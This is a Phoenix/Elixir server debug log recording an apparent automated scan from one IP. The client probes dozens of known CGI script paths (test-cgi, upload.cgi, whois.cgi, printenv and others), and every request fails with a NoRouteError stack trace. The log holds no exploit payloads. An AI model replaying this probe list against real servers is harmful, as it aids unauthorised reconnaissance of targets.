    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:23.211000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46966] GET /cgi-bin/quickstore.cgi
[Thu Sep  3 08:41:23.232000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:46966] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/quickstore.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:23.824000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46976] GET /cgi-bin/search
[Thu Sep  3 08:41:23.837000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:46976] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/search (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:24.487000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46990] GET /cgi-bin/search.cgi
[Thu Sep  3 08:41:24.503000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:46990] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/search.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:25.148000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46994] GET /cgi-bin/search/search.cgi
[Thu Sep  3 08:41:25.168000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:46994] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/search/search.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:25.774000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:47002] GET /cgi-bin/status
[Thu Sep  3 08:41:25.814000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:47002] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/status (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:26.470000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:47010] GET /cgi-bin/status.cgi
[Thu Sep  3 08:41:26.489000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:47010] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/status.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:27.100000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:47022] GET /cgi-bin/test.cgi
[Thu Sep  3 08:41:27.121000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:47022] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/test.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:28.745000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:47038] GET /cgi-bin/test.sh
[Thu Sep  3 08:41:28.772000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:47038] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/test.sh (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:29.391000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:47040] GET /cgi-bin/test-cgi
[Thu Sep  3 08:41:29.416000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:47040] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/test-cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:30.053000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:47042] GET /cgi-bin/upload.cgi
[Thu Sep  3 08:41:30.074000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:47042] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/upload.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:30.698000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:47058] GET /cgi-bin/urlcount.cgi
[Thu Sep  3 08:41:30.722000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:47058] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/urlcount.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:31.380000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:47074] GET /cgi-bin/viewcvs.cgi
[Thu Sep  3 08:41:31.396000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:47074] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/viewcvs.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:32.078000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:47080] GET /cgi-bin/wa
[Thu Sep  3 08:41:32.110000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:47080] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/wa (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:32.720000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:47088] GET /cgi-bin/wa.cgi
[Thu Sep  3 08:41:32.739000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:47088] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/wa.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:33.379000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:33906] GET /cgi-bin/wa.exe
[Thu Sep  3 08:41:33.400000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:33906] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/wa.exe (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:34.080000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:33920] GET /cgi-bin/whois.cgi
[Thu Sep  3 08:41:34.114000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:33920] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/whois.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:34.767000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:33928] GET /cgi-bin-sdb/printenv
